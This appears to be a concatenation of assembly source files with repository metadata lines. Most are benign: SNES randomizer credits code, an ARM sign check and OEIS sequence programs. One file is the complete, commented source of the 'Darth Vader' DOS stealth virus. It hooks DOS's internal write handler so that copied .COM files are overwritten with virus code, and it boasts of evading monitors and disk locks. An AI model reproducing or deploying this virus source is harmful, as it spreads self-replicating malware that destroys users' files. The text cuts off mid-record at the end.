bne .alttp_shiftnumber
jmp .continue
.alttp_number
lda stats+4,x ; ALTTP stat address
phx
tax
lda $a06000,x ; Load value from ALTTP SRAM
and #$00ff
plx
phy
pha
lda stats,x ; Load tilemap address
tay
pla
jsr draw_value
ply
jmp .continue
.alttp_fulltime
lda stats+4,x
phx
tax
lda $a06000,x
sta $7ffcfc
lda $a06002,x
sta $7ffcfe
plx
lda stats,x
phy
tay
lda #$fcfc
jsr draw_full_time
ply
jmp .continue
.alttp_shiftnumber
lda stats+6,x ; Load bitshift mask
sta $04
lda stats+4,x ; ALTTP stat address
phx
tax
lda $a06000,x ; Load value from ALTTP SRAM
sta $02
jsr alttp_shift_stat
plx
phy
pha
lda stats,x ; Load tilemap address
tay
pla
jsr draw_value
ply
jmp .continue
.continue
iny
jmp .loop
.end
plb : plp : ply : plx : pla
rts
alttp_shift_stat:
phx
lda $04
and #$ff00
xba
tax ; number of shifts in X
lda $02
and #$00ff
-
cpx #$0000
beq +
lsr
dex
jmp -
+
sta $02
lda $04
and #$00ff
sta $04
lda $02
and $04
plx
rts
events:
; tilemap pointer location cmd val1 val2
dw tilemap_data_randomizer_staff+$0800, $0001, $0004, $0000
dw tilemap_data_stop+$0800, $000f, $0000, $0000
dw tilemap_data_alttp_sprite_credits, $0010, config_alttp_sprite, tilemap_data_sm_sprite_credits
dw tilemap_data_sm_sprite_credits, $0010, config_sm_sprite, tilemap_data_end_sprite_credits
dw $0000
stats:
; tilemap pointer location type addr value
dw tilemap_data_door_transitions, $0000, $0002, $0001
dw tilemap_data_time_in_doors, $0000, $0003, $0003
dw tilemap_data_time_aligning_doors, $0000, $0005, $0002
dw tilemap_data_time_in_crateria, $0000, $0007, $0003
dw tilemap_data_time_in_brinstar, $0000, $0009, $0003
dw tilemap_data_time_in_norfair, $0000, $000b, $0003
dw tilemap_data_time_in_wreckedship, $0000, $000d, $0003
dw tilemap_data_time_in_maridia, $0000, $000f, $0003
dw tilemap_data_time_in_tourian, $0000, $0011, $0003
dw tilemap_data_charged_shots, $0000, $0014, $0001
dw tilemap_data_sbas, $0000, $0015, $0001
dw tilemap_data_missiles, $0000, $0016, $0001
dw tilemap_data_supermissiles, $0000, $0017, $0001
dw tilemap_data_powerbombs, $0000, $0018, $0001
dw tilemap_data_bombs, $0000, $001a, $0001
dw tilemap_data_alttp_first_sword, $0001, $0458, $0003
dw tilemap_data_alttp_pegasus_boots, $0001, $045c, $0003
dw tilemap_data_alttp_flute, $0001, $0460, $0003
dw tilemap_data_alttp_mirror, $0001, $0464, $0003
dw tilemap_data_alttp_swordless, $0001, $0452, $040f
dw tilemap_data_alttp_fighter, $0001, $0425, $040f
dw tilemap_data_alttp_master, $0001, $0425, $000f
dw tilemap_data_alttp_tempered, $0001, $0426, $040f
dw tilemap_data_alttp_gold, $0001, $0426, $000f
dw tilemap_data_alttp_gtbigkey, $0001, $042a, $001f
dw tilemap_data_alttp_bonks, $0001, $0420, $0001
dw tilemap_data_alttp_savequits, $0001, $042d, $0001
dw tilemap_data_alttp_deaths, $0001, $0449, $0001
dw tilemap_data_alttp_faerierevivals, $0001, $0453, $0001
dw tilemap_data_alttp_menutime, $0001, $0444, $0003
dw tilemap_data_sm_transitions, $0000, $001b, $0001
dw tilemap_data_alttp_transitions, $0000, $001c, $0001
dw tilemap_data_alttp_total_time, $0001, $043e, $0003
dw tilemap_data_sm_total_time, $0000, $0000, $0003
dw tilemap_data_total_time, $0000, $001e, $0003
dw tilemap_data_collection_rate, $0000, $001d, $0001
dw $0000
font_data:
incbin "data/credits-gfx.bin"
cgram_data:
incbin "data/credits-cgram.bin"
samus_gfx:
incbin "data/credits-samus-gfx.bin"
samus_map:
incbin "data/credits-samus-map.bin"
samus_pal:
db $00, $00, $00, $14, $AA, $15, $00, $00, $80, $5B, $01, $25, $A2, $14, $8D, $56, $C7, $3D, $B8, $14, $40, $18, $40, $31, $42, $1C, $A0, $24, $6D, $14, $05, $14
triforce_pal:
db $00, $00, $9C, $03, $C6, $00, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63
numbers_top:
dw $0060, $0061, $0062, $0063, $0064, $0065, $0066, $0067, $0068, $0069, $006a, $006b, $006c, $006d, $006e, $006f
numbers_bot:
dw $0070, $0071, $0072, $0073, $0074, $0075, $0076, $0077, $0078, $0079, $007a, $007b, $007c, $007d, $007e, $007f
warnpc $ff8000
org $fe0000
triforce_gfx:
incbin "data/credits-triforce-gfx.bin"
triforce_map:
incbin "data/credits-triforce-map.bin"
warnpc $fe8000
org $fd0000
tilemap_data:
!BIG
dw " SUPER METROID "
dw " super metroid "
dw " "
dw " A LINK TO THE PAST "
dw " a link to the past "
dw " "
dw " CROSSOVER RANDOMIZER "
dw " crossover randomizer "
dw " "
dw " "
dw " "
dw " "
!PURPLE
dw " ORIGINAL GAME CREDITS "
dw " "
!CYAN : dw "A LINK TO THE PAST" : !BLUE : dw " SUPER METROID"
dw " "
!CYAN : dw "HIROSHI YAMAUCHI" : !BLUE : dw " MAKOTO KANOH"
!CYAN : dw "SHIGERU MIYAMOTO" : !BLUE : dw " YOSHI SAKAMOTO"
!CYAN : dw "TAKASHI TEZUKA" : !BLUE : dw " TOHRU OHSAWA"
!CYAN : dw "KENSUKE TANABE" : !BLUE : dw " MASAHIKO MASHIMO"
!CYAN : dw "YOICHI YAMADA" : !BLUE : dw " HIROFUMI MATSUOKA"
!CYAN : dw "YASUHISA YAMAMURA" : !BLUE : dw " KENJI IMAI"
!CYAN : dw "SOICHIRO TOMITA" : !BLUE : dw " HIROYUKI KIMURA"
!CYAN : dw "TAKAYA IMAMURA" : !BLUE : dw " TOMOYOSHI YAMANE"
!CYAN : dw "MASANAO ARIMOTO" : !BLUE : dw " HIROJI KIYOTAKE"
!CYAN : dw "TSUYOSHI WATANABE" : !BLUE : dw " TOMOMI YAMANE"
!CYAN : dw "TOSHIHIKO NAKAGO" : !BLUE : dw " KENJI YAMAMOTO"
!CYAN : dw "YASUNARI SOEJIMA" : !BLUE : dw " MINAKO HAMANO"
!CYAN : dw "KASUAKI MORITA" : !BLUE : dw " KENJI NAKAJIMA"
!CYAN : dw "TATSUO NISHIYAMA" : !BLUE : dw " YOSHIKAZU MORI"
!CYAN : dw "YUICHI YAMAMOTO" : !BLUE : dw " ISAMU KUBOTA"
!CYAN : dw "TOSHIO IWAWAKI" : !BLUE : dw " MUTSURU MATSUMOTO"
!CYAN : dw "YOSHIHIRO NOMOTO" : !BLUE : dw " YASUHIKO FUJI"
!CYAN : dw "EIJI NOTO" : !BLUE : dw " MOTOMU CHIKARAISHI"
!CYAN : dw "SHIGEHIRO KASAMATSU" : !BLUE : dw " KOUICHI ABE"
!CYAN : dw "SATORU TAKAHATA" : !BLUE : dw " KATSUYA YAMANO"
!CYAN : dw "KEIZO KATO" : !BLUE : dw " TSUTOMU KANESHIGE"
!CYAN : dw "KOJI KONDO" : !BLUE : dw " MASAFUMI SAKASHITA"
!CYAN : dw "YASUNARI NISHIDA" : !BLUE : dw " YASUO INOUE"
!CYAN : dw "YOSHIAKI KOIZUMI" : !BLUE : dw " MARY COCOMA"
!CYAN : dw "TAKAO SHIMIZU" : !BLUE : dw " YUSUKE NAKANO"
!CYAN : dw "YOICHI KOTABE" : !BLUE : dw " SHINYA SANO"
!CYAN : dw "HIDEKI FUJII" : !BLUE : dw " NORIYUKI SATO"
!CYAN : dw "DANIEL OWSEN" : !BLUE : dw " DANIEL OWSEN"
!CYAN : dw "YASUHIRO SAKAI" : !BLUE : dw " "
!CYAN : dw "HIROYUKI YAMADA" : !BLUE : dw " GUMPEI YOKOI"
.randomizer_staff
dw " "
dw " "
dw " "
dw " "
!ORANGE
dw " CROSSOVER RANDOMIZER STAFF "
dw " "
dw " "
!BLUE
dw " MAIN DEVELOPER "
!BIG
dw " "
dw " TOTAL "
dw " total "
dw " "
dw " "
dw " "
!PINK
dw " ADDITIONAL GRAPHICS "
!BIG
dw " "
dw " ANDREW NATALIE "
dw " andrew natalie "
dw " "
dw " QWERTYMODO ARTHEAU "
dw " qwertymodo artheau "
dw " "
dw " "
dw " "
!CYAN
dw " ADDITIONAL CONTRIBUTORS "
!BIG
dw " "
dw " LENOPHIS HALFAREBEL "
dw " lenophis halfarebel "
dw " "
dw " ANDY SMOLBIG "
dw " andy smolbig "
dw " "
dw " "
dw " "
.alttp_sprite_credits
!PINK
dw " ALTTP CUSTOM SPRITE "
!BIG
dw " "
dw " "
dw " "
dw " "
dw " "
.sm_sprite_credits
!ORANGE
dw " SUPER METROID CUSTOM SPRITE "
!BIG
dw " "
dw " "
dw " "
dw " "
dw " "
.end_sprite_credits
!PURPLE
dw " SPECIAL THANKS TO "
!BIG
dw " "
dw " WILDANACONDA69 ALUCARD2004 "
dw " wildanaconda&) alucard@}}$ "
dw " "
dw " GARRISON IVAN "
dw " garrison ivan "
dw " "
dw " KEKUMANSHOYU LEXOMATICO "
dw " kekumanshoyu lexomatico "
dw " "
dw " "
dw " AND ALL OTHER BETA TESTERS "
dw " and all other beta testers "
dw " "
dw " "
dw " METROIDCONSTRUCTION COM "
dw " metroidconstruction.com "
dw " "
dw " "
dw " SUPER METROID SRL COMMUNITY "
dw " super metroid srl community "
dw " "
dw " "
dw " ALTTP AND ALTTPR COMMUNITIES "
dw " alttp and alttpr communities "
dw " "
dw " "
dw " "
!ORANGE
dw " ALTTP RANDOMIZER DEVELOPERS "
!BIG
dw " "
dw " VEETORP KATDEVSGAMES DESSYREQT "
dw " veetorp katdevsgames dessyreqt "
dw " "
dw " SMALLHACKER CHRISTOSOWEN "
dw " smallhacker christosowen "
dw " "
dw " "
dw " "
dw " "
!BLUE
dw " SM RANDOMIZER DEVELOPERS "
!BIG
dw " "
dw " TOTAL ANDREW DESSYREQT "
dw " total andrew dessyreqt "
dw " "
dw " LEODOX PERSONITIS "
dw " leodox personitis "
dw " "
dw " "
dw " "
dw " "
!CYAN
dw " GAMEPLAY STATISTICS "
dw " "
dw " "
dw " "
!PURPLE
dw " SUPER METROID "
dw " "
dw " "
!ORANGE
dw " DOORS "
dw " "
!BIG
.door_transitions
dw " DOOR TRANSITIONS "
dw " door transitions "
dw " "
.time_in_doors
dw " TIME IN DOORS 00'00'00^00 "
dw " time in doors "
dw " "
.time_aligning_doors
dw " TIME ALIGNING DOORS 00'00^00 "
dw " time aligning doors "
dw " "
dw " "
!BLUE
dw " TIME SPENT IN "
dw " "
!BIG
.time_in_crateria
dw " CRATERIA 00'00'00^00 "
dw " crateria "
dw " "
.time_in_brinstar
dw " BRINSTAR 00'00'00^00 "
dw " brinstar "
dw " "
.time_in_norfair
dw " NORFAIR 00'00'00^00 "
dw " norfair "
dw " "
.time_in_wreckedship
dw " WRECKED SHIP 00'00'00^00 "
dw " wrecked ship "
dw " "
.time_in_maridia
dw " MARIDIA 00'00'00^00 "
dw " maridia "
dw " "
.time_in_tourian
dw " TOURIAN 00'00'00^00 "
dw " tourian "
dw " "
dw " "
!PINK
dw " SHOTS AND AMMO FIRED "
dw " "
!BIG
.charged_shots
dw " CHARGED SHOTS "
dw " charged shots "
dw " "
.sbas
dw " SPECIAL BEAM ATTACKS "
dw " special beam attacks "
dw " "
.missiles
dw " MISSILES "
dw " missiles "
dw " "
.supermissiles
dw " SUPER MISSILES "
dw " super missiles "
dw " "
.powerbombs
dw " POWER BOMBS "
dw " power bombs "
dw " "
.bombs
dw " BOMBS "
dw " bombs "
dw " "
dw " "
dw " "
dw " "
!YELLOW
dw " A LINK TO THE PAST "
dw " "
dw " "
!CYAN
dw " TIME FOUND "
dw " "
!BIG
.alttp_first_sword
dw " FIRST SWORD 00'00'00^00 "
dw " first sword "
dw " "
.alttp_pegasus_boots
dw " PEGASUS BOOTS 00'00'00^00 "
dw " pegasus boots "
dw " "
.alttp_flute
dw " FLUTE 00'00'00^00 "
dw " flute "
dw " "
.alttp_mirror
dw " MIRROR 00'00'00^00 "
dw " mirror "
dw " "
dw " "
!ORANGE
dw " BOSS KILLS "
dw " "
!BIG
.alttp_swordless
dw " SWORDLESS "
dw " swordless "
dw " "
.alttp_fighter
dw " FIGHTER'S SWORD "
dw " fighter s sword "
dw " "
.alttp_master
dw " MASTER SWORD "
dw " master sword "
dw " "
.alttp_tempered
dw " TEMPERED SWORD "
dw " tempered sword "
dw " "
.alttp_gold
dw " GOLD SWORD "
dw " gold sword "
dw " "
dw " "
!PURPLE
dw " GAME STATS "
dw " "
!BIG
.alttp_gtbigkey
dw " GANON'S TOWER BIG KEY "
dw " ganon s tower big key "
dw " "
.alttp_bonks
dw " BONKS "
dw " bonks "
dw " "
.alttp_savequits
dw " SAVE AND QUITS "
dw " save and quits "
dw " "
.alttp_deaths
dw " DEATHS "
dw " deaths "
dw " "
.alttp_faerierevivals
dw " FAERIE REVIVALS "
dw " faerie revivals "
dw " "
.alttp_menutime
dw " TIME IN MENUS 00'00'00^00 "
dw " time in menus "
dw " "
; .alttp_lagtime
; dw " LAG TIME 00'00'00^00 "
; dw " lag time "
; dw " "
; dw " "
dw " "
dw " "
!ORANGE
dw " COMBINED "
dw " "
!BIG
.sm_transitions
dw " TRANSITIONS TO SM "
dw " transitions to sm "
dw " "
.alttp_transitions
dw " TRANSITIONS TO ALTTP "
dw " transitions to alttp "
dw " "
dw " "
dw " "
.alttp_total_time
dw " TIME IN ALTTP 00'00'00^00 "
dw " time in alttp "
dw " "
.sm_total_time
dw " TIME IN SM 00'00'00^00 "
dw " time in sm "
dw " "
.total_time
dw " TOTAL TIME 00'00'00^00 "
dw " total time "
dw " "
.collection_rate
dw " COLLECTED ITEMS "
dw " collected items "
dw " "
dw " "
dw " "
dw " "
dw " SEE YOU NEXT MISSION "
dw " see you next mission "
dw " "
dw " "
dw " "
dw " "
dw " "
dw " "
dw " "
.stop
dw " THE END "
dw " the end "
dw " "
dw " "
!OFF
warnpc $fd8000
namespace off | 23.224262 | 165 | 0.457125 |
083980c0c103beb6fc421a4e672c420a9f2ecb96 | 384 | asm | Assembly | untested/ARM/oppositeSigns.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/ARM/oppositeSigns.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/ARM/oppositeSigns.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null |
code32
format ELF
public _oppositeSigns
public _oppositeSigns64
section '.text' executable align 16
_oppositeSigns:
eor r0, r0, r1
lsr r0, r0, #31
bx lr
_oppositeSigns64:
str fp, [sp, #-4]!
eor fp, r0, r2
eor ip, r1, r3
lsr r3, fp, #31
orr r1, r3, ip, lsl #1
orrs r3, r1, ip, asr #31
movne r0, #1
moveq r0, #0
ldr fp, [sp], #4
bx lr
| 11.636364 | 35 | 0.59375 |
2f715dfad2d88f8fe96ffbff19bd646d23445d35 | 520 | asm | Assembly | programs/oeis/055/A055842.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/055/A055842.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/055/A055842.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A055842: Expansion of (1-x)^2/(1-5*x).
; 1,3,16,80,400,2000,10000,50000,250000,1250000,6250000,31250000,156250000,781250000,3906250000,19531250000,97656250000,488281250000,2441406250000,12207031250000,61035156250000,305175781250000,1525878906250000,7629394531250000
mov $1,1
lpb $0
sub $3,$2
mov $4,$0
sub $4,1
mov $0,$4
mov $5,$1
add $6,3
add $6,$1
add $6,$1
mul $1,2
trn $3,$1
add $1,$3
trn $1,3
add $2,5
mov $3,14
add $5,$6
sub $5,1
add $1,$5
sub $1,2
add $2,2
mov $6,3
lpe
| 19.259259 | 226 | 0.65 |
3e5a49f6e4f683017d1947ce61039ae20bc04b98 | 66 | asm | Assembly | data/mcp/asm/prog_08_04.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | data/mcp/asm/prog_08_04.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | data/mcp/asm/prog_08_04.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | 0D00 3E 05
0D02 16 89
0D04 CB 2A
0D06 3D
0D07 C2 04 0D
0D0A DF 5B
| 9.428571 | 13 | 0.727273 |
b273bd1a574465c97b4acfdc6f1d4c8aaf2b57c8 | 1,272 | asm | Assembly | programs/oeis/180/A180316.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/180/A180316.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/180/A180316.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A180316: Concatenation of n and A008954(n).
; 0,11,23,36,40,55,61,78,86,95,105,116,128,131,145,150,166,173,181,190,200,211,223,236,240,255,261,278,286,295,305,316,328,331,345,350,366,373,381,390,400,411,423,436,440,455,461,478,486,495,505,516,528,531,545,550,566,573,581,590,600,611,623,636,640,655,661,678,686,695,705,716,728,731,745,750,766,773,781,790,800,811,823,836,840,855,861,878,886,895,905,916,928,931,945,950,966,973,981,990,1000,1011,1023,1036,1040,1055,1061,1078,1086,1095,1105,1116,1128,1131,1145,1150,1166,1173,1181,1190,1200,1211,1223,1236,1240,1255,1261,1278,1286,1295,1305,1316,1328,1331,1345,1350,1366,1373,1381,1390,1400,1411,1423,1436,1440,1455,1461,1478,1486,1495,1505,1516,1528,1531,1545,1550,1566,1573,1581,1590,1600,1611,1623,1636,1640,1655,1661,1678,1686,1695,1705,1716,1728,1731,1745,1750,1766,1773,1781,1790,1800,1811,1823,1836,1840,1855,1861,1878,1886,1895,1905,1916,1928,1931,1945,1950,1966,1973,1981,1990,2000,2011,2023,2036,2040,2055,2061,2078,2086,2095,2105,2116,2128,2131,2145,2150,2166,2173,2181,2190,2200,2211,2223,2236,2240,2255,2261,2278,2286,2295,2305,2316,2328,2331,2345,2350,2366,2373,2381,2390,2400,2411,2423,2436,2440,2455,2461,2478,2486,2495
mov $3,$0
lpb $0
add $1,$0
sub $0,1
lpe
mod $1,10
mov $2,$3
mul $2,10
add $1,$2
| 97.846154 | 1,140 | 0.76022 |
d9318c5e51af03ad1cdd8f7ef09806a941767195 | 540 | asm | Assembly | programs/oeis/082/A082296.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/082/A082296.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/082/A082296.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A082296: Solutions to 13^x+17^x == 19 mod 23.
; 12,20,34,42,56,64,78,86,100,108,122,130,144,152,166,174,188,196,210,218,232,240,254,262,276,284,298,306,320,328,342,350,364,372,386,394,408,416,430,438,452,460,474,482,496,504,518,526,540,548,562,570,584,592,606,614,628,636,650,658,672,680,694,702,716,724,738,746,760,768,782,790,804,812,826,834,848,856,870,878,892,900,914,922,936,944,958,966,980,988,1002,1010,1024,1032,1046,1054,1068,1076,1090,1098
mov $3,$0
mod $0,2
pow $1,$0
mul $1,3
add $1,9
mov $2,$3
mul $2,11
add $1,$2
mov $0,$1
| 41.538462 | 403 | 0.701852 |
4d18ff3f6c321b5349f7ef523f19d9c392a31c19 | 427 | asm | Assembly | oeis/100/A100193.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/100/A100193.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/100/A100193.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A100193: a(n) = Sum_{k=0..n} binomial(2n,n+k)*3^k.
; Submitted by Christian Krause
; 1,5,27,146,787,4230,22686,121476,649731,3472382,18546922,99023292,528535726,2820451964,15048601308,80283276936,428271193827,2284478396334,12185310873138,64993897108236,346655914156602
add $0,1
mov $4,$0
lpb $0
sub $0,1
mov $3,$4
sub $3,2
bin $3,$1
add $1,1
add $3,$2
add $3,$2
mul $2,2
add $2,$3
add $4,1
lpe
mov $0,$2
| 21.35 | 185 | 0.681499 |
bf4e5b66d6c8e01c4fd53942b196fdfff19cba0e | 664 | asm | Assembly | programs/oeis/214/A214411.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/214/A214411.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/214/A214411.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A214411: The maximum exponent k of 7 such that 7^k divides n.
; 0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0
add $0,1
mov $2,$0
lpb $2,1
add $1,362880
mov $3,$2
bin $3,7
gcd $2,$3
lpe
div $1,362880
| 51.076923 | 501 | 0.527108 |
b66c816add7840b3f5283b39a9ee6d6da5b7b0a5 | 5,241 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.darth1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.darth1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.darth1.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;*******************************************************************************
;* *
;* D A R T H V A D E R - stealth virus *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
;* All Rights Reserved *
;* *
;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS *
;* dispatcher for int21 functions, so it cannot be stoped by programs *
;* like ANTI4US etc... He also cannot be stoped by disk lock utilities *
;* because the virus use WRITE function (40h) of DOS' int21. *
;* Always when you copy COM file with DOS' 'copy' command or PCTools *
;* class programm, you will receive infected (destroyed) copy of file *
;* Infected file won't work, but the virus WILL *
;* *
;* Waleri Todorov *
;* *
;*******************************************************************************
nop ; Dummy NOPs. Required
nop
mov ah,30h ; Get DOS version
int 21h
cmp al,5 ; If DOS is NOT 5.X
jb OkDOS ; Continue
Exit ; else terminate
int 20h
OkDos
mov ax,1203h ; Get DOS segment
int 2fh ; Via interrupt 2F (undocumented)
mov si,9000h ; Set ES to 9000
mov es,si ; Usualy this area is fill with zeros
xor si,si ; SI=0
Next
inc si ; Next byte
cmp si,0F00h ; If SI==0xF00
ja Exit ; Then no place found and exit to DOS
push si ; else Save SI in stack
xor di,di ; ES:DI == 9000:0000
mov cx,offset lastbyte-100h ; Will check virus size
repe cmpsb ; Check until equal
jcxz Found ; if CX==0 then place is found
pop si ; else restore SI from stack
jmp short Next ; and go search next byte
Found
pop di ; Restore saved SI to DI
mov cs:MyPlace,di ; Save new offset in DOS segment
mov [2],di ; at DOSSEG:0002
mov si,100h ; SI will point beginning in file
push ds ; Save DS
push ds ; Set ES equal to DS
pop es ;
push cs ; Set DS=CS
pop ds ;
mov cx,offset LastByte-100h ; Will move virus size only
rep movsb ; Do move
pop ds ; Restore DS (point to DOSSEG)
push si ; From this place will search DOS table
NextTable
pop si ;
inc si ; Next byte
jz Exit ; If segment end then exit
push si ; Save SI
lodsw ; Load AX from DS:SI
xchg ax,bx ; Put AX in BX
lodsb ; and load AL from DS:SI
cmp bx,8B2Eh ; Check for special bytes
jne NextTable ; in AL and BX
cmp al,9Fh
jne NextTable ; If not match -> search next byte
FoundTable
lodsw ; Else load table address to AX
xchg ax,bx ; Put table address to BX
mov si,[bx+80h] ; Load current offset of 40h function
mov di,offset Handle ; Put its offset to DI
mov cx,5 ; Will check 5 bytes only
push cs ; ES:DI point handling of 40 in file
pop es
repe cmpsb ; Check if DS:SI match to ES:DI
jcxz Exit ; If match -> virus is here -> Exit
mov ax,[bx+80h] ; else load offset of function 40
mov [4],ax ; And save it to DOSSEG:0004
mov ax,offset Handle-100h ; Load absolute address of
add ax,cs:MyPlace ; new handler and adjust its location
mov [bx+80h],ax ; Store new address in DOS table
int 20h ; Now virus is load and active
Handle ; Handle function 40h of int 21
push ax ; Save important registers
push bx
push cx
push ds
push es
push si
push di
cmp cx,270d ; Check if write less than virus size
jb Do ; If so -> write with no infection
mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00
mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02
mov ax,1220h ; Get number of File Handle table
int 2fh ; Via int 2F (undocumented)
mov bl,es:[di] ; Load number to BL
mov ax,1216h ; Get File Handle table address
int 2fh ; Via int 2F (undocumented)
push di ; Save table offset
add di,20h ; Now offset point to NAME of file
push cs ; DS now will point in virus
pop ds
mov si,offset Command-100h ; Address of string COMM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,4 ; Check 4 bytes
repe cmpsb ; Do check until equal
pop di ; Restore address of table
jcxz Do ; If match -> file is COMMand.XXX
add di,28h ; Else DI point to EXTENSION of file
mov si,offset Com-100h ; Address of string COM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,3 ; Check 3 bytes
repe cmpsb ; Do check until equal
jne Do ; If NOT *.COM file -> write normal
mov di,cs:[0C02h] ; Else restore data buffer from
mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02
mov si,cs:[2] ; Get virus start offset
mov cx,offset LastByte-100 ; Will move virus only
rep movsb ; Move its code in data to write
; Now virus is placed in data buffer of COPY command or PCTools etc...
; When they write to COM file they write virus either
Do
pop di ; Restore importatnt registers
pop si
pop es
pop ds
pop cx
pop bx
pop ax
db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40)
ret ; Return to caller (usualy DOS)
Command db 'COMM' ; String for check COMMand.XXX
Com db 'COM' ; String for check *.COM
db 'Darth Vader' ; Signature
LastByte nop ; Mark to calculate virus size
MyPlace
dw 0 ; Temporary variable. Not writed
| 31.957317 | 80 | 0.627361 |
fefa098848fd621e161c4dfabb70116a02fffc32 | 197 | asm | Assembly | testsuite/ubivm/expected/def_var_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/expected/def_var_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/expected/def_var_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | Entity start
Constants
0 S start
1 S var1
2 S var2
3 S var3
4 S var4
End
Def start
Local variables
0 int var1
1 string var2
2 real var3
3 bool var4
End
stop
End
End
| 10.368421 | 17 | 0.639594 |
cc606ac6dac329e0d3d00e5e80badfaf2b911eb5 | 586 | asm | Assembly | programs/oeis/134/A134519.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/134/A134519.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
